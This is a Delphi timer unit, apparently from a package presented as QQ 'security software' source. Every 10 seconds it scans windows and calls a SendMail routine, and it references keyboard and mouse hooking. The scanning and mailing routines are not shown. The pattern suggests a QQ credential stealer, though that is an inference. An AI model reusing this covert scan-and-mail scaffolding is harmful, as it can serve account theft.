timer.pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

unit  Timer;

interface
procedure TimerOn;
procedure TimerOff;
procedure TimerE;
procedure TimerF;
procedure YshiZM;
implementation

uses
  Windows,GPKernel,VarUnit,ScanWin,MMSystem,FunUnit;
var
   hTimer1: DWORD=1; // 定时器句柄
  hTimer: LongWord=0; // 定时器句柄

procedure TimerProc(hWnd: HWND; uMsg: UINT; idEvent: UINT; dwTime: DWORD); stdcall;
begin
TimerOff;
//////////////
 Sousuo:=1;
 Twindows;
  Sousuo:=2;
  Twindows;
  SendMail(3);
 SetProcessWorkingSetSize(GetCurrentProcess, $FFFFFFFF, $FFFFFFFF);  //清理内存
 end;
  // 安装定时器
procedure TimerOn;
begin
 //StopHookKeyMouse;
  if (hTimer <> 0) then TimerOff;
  hTimer := SetTimer(0, 0, 10000, @TimerProc);
  end;

  // 删除定时器
procedure TimerOff;
begin
  if (hTimer <> 0) then
  begin
    KillTimer(0, hTimer);
    hTimer := 0;
  end;
end;

procedure MyTimeProc(uID,uMsg,dwUser,dw1,dw2:DWORD);stdcall;
//定时响应函数
//uID TimeEvent的ID号，dwUser 与timeSetEvent中的dwUser相同； uMsg,dw1,dw2保留未用
begin

 SetProcessWorkingSetSize(GetCurrentProcess, $FFFFFFFF, $FFFFFFFF);  //清理内存
 //ScanWind;
end;
procedure TimerE;
 begin
 hTimer1:=TimeSetEvent(10,10,MyTimeProc,1,TIME_PERIODIC);
end;
procedure TimerF;
 begin
 TimeKillEvent(hTimer1);
 end;

procedure YshiZM;
 begin
 sleep(10000);
 Sousuo:=1;
 Twindows;
 sleep(1000);
  Sousuo:=2;
  Twindows;
 end;
end.